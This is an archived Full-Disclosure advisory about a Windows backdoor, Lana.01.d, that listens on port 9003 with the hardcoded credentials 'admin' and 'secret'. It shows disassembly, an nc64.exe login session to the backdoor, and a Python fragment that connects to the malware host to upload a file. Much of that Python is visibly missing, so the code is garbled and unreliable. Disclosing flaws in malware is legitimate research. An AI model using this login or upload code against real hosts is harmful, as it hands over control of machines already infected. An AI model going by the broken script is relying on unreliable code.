lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 7 Apr 2022 00:10:38 -0400
From: malvuln <>
Subject: [FD] Backdoor.Win32.FTP.Lana.01.d / Weak Hardcoded Credentials

Discovery / credits: Malvuln - (c) 2022
Original source:

Threat: Backdoor.Win32.FTP.Lana.01.d
Vulnerability: Weak Hardcoded Credentials
Family: Lana
Type: PE32
MD5: ea9ab5983a6fa71e31907e74d4ddbab6
Vuln ID: MVID-2022-0539
Dropped files: sersvc32.exe
Disclosure: 04/06/2022
Description: The malware listens in TCP port 9003. The credentials "admin"
and "secret" are weak and stored in plaintext with the executable.

00404004 aAdmin          db 'admin',0            ; DATA XREF 00401FBF
00404004                                         ; sub_402765+4A3↑o
00404019 aSecret         db 'secret',0           ; DATA XREF 00401FA8

nc64.exe x.x.x.x 9003
220 Silver FTP v1.1

USER admin

331 Password required for admin.

PASS secret

230 User logged in, proceed.


215 UNIX Type: L8


227 Entering Passive Mode (192,168,18,125,195,84).


150 Data connection accepted.

226 Transfer ok

from socket import *


def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE =

    while EXE:


    print("By Malvuln");

if __name__=="__main__":

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) (TM).
Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists